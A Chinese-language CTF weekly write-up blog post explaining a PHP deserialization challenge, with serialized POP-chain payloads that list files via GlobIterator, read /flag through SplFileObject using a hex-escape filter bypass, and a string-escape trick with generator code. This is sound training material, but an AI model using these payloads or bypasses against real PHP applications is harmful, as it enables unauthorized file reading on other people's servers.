CTF周报-2223Q2-Week10

Web

一、POP

1、prize_p5(16进制绕过/字符串逃逸)

本题可以从$_GET[‘cata’],开始构架POP链,同时要绕过下面的正则匹配。其中下面这个语句可以直接使用php的原生类,

1
echo new $this->class($this->data);

然后我们首先要知道flag位置,查找有f的文件

1
O:9:"catalogue":2:{s:5:"class";s:12:"GlobIterator";s:4:"data";s:4:"/*f*";}

看到了就叫flag

由于后面有过滤object,但是可以使用原生类SplFileObject,来获取flag,看了一下方法,需要使用16进制绕过去

1
?cata=O:9:"catalogue":2:{s:5:"class";S:14:"SplFile\4fbject";s:4:"data";s:5:"/flag";}

还可以使用字符串逃逸

原理:1、定义一个abscond方法,就是进行替换的,这个方法本没有错,错的是,可以替换成不同的长度;2、这里举个列,假如我们传进去的是NSSaaa,那么他经过转换就直接接收了hacker,然后aaa就逃出去了;3、然后他对email参数转进来的东西,进行了过滤,所以我们不能用,因为我们要传flag,然后就是phone,if(is_array($escape[‘phone’]))这里判断他必须是一个数组,所以我们要改,最后就是在name中传

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class escape
{
public $name = '1';
public $phone = array(1);
public $email = '/flag';
}
$a = new escape();
echo serialize($a);

//O:6:"escape":3:{s:4:"name";s:1:"1";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}
//";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

CTF周报-2223Q2-Week10
https://davidpenn888.github.io/2023/04/28/CTF-2223Q2-Week10/
作者
David Penn
发布于
2023年4月28日
许可协议